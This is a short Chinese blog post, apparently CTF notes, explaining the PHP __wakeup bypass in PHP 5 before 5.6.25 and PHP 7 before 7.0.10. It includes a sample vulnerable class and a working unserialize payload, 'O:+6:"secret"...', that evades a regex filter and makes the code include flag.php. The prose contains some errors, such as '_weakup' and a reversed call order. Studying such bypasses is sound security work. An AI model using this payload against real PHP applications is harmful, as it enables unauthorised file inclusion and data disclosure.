版本范围
php5<5.6.25
php7<7.0.10
原因
魔法函数 _weakup 调用顺序:
_weakup => unserilize()
如果 对象属性个数:O:4:"test":3 == 3
大于真是 属性个数:3>2,
则会跳过 _weakup() 的执行
O:4:"test":3:{s:2:"v1";s:6:"hxdyjx";s:2:"v2";s:3:"123";}
示例
<?php
error_reporting(0);
class secret{
var $file='index.php';
public function __construct($file){
$this->file=$file;
}
function __destruct(){
include_once($this->file);
echo $flag;
}
function __wakeup(){
$this->file='index.php';
}
}
$cmd='O:+6:"secret":2:{s:4:"file";s:8:"flag.php";}';
if (!isset($cmd)){
highlight_file(__FILE__);
}
else{
if (preg_match('/[oc]:\d+:/i',$cmd)){
echo "Are you daydreaming?";
}
else{
unserialize($cmd);
}
}
//sercet in flag.php
?>
payload
O:+6:"secret":2:{s:4:"file";s:8:"flag.php";}
payload 这样构造就 绕过了 _wakup()
标签:__,php,cmd,cve,weakup,flag,file,序列化 From: https://www.cnblogs.com/hxdyjx/p/18075425